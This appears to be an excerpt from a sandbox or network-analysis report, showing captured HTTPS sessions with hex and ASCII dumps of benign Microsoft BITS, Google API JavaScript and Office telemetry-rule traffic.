2024-10-29 01:46:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-29 01:46:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49723	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:21 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-29 01:46:21 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=126507 Date: Tue, 29 Oct 2024 01:46:21 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49726	142.250.181.238	443	7240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:21 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 01:46:21 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 28 Oct 2024 20:33:04 GMT Expires: Tue, 28 Oct 2025 20:33:04 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 18797 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-29 01:46:21 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-29 01:46:21 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-10-29 01:46:21 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-10-29 01:46:21 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-10-29 01:46:21 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-10-29 01:46:21 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-10-29 01:46:21 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-10-29 01:46:21 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-10-29 01:46:21 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-10-29 01:46:21 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:21 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:21 UTC	561	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:21 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: 174434da-801e-0015-686a-29f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014621Z-16849878b782d4lwcu6h6gmxnw00000005mg0000000037hp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:21 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-29 01:46:22 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-29 01:46:22 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-29 01:46:22 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-29 01:46:22 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> 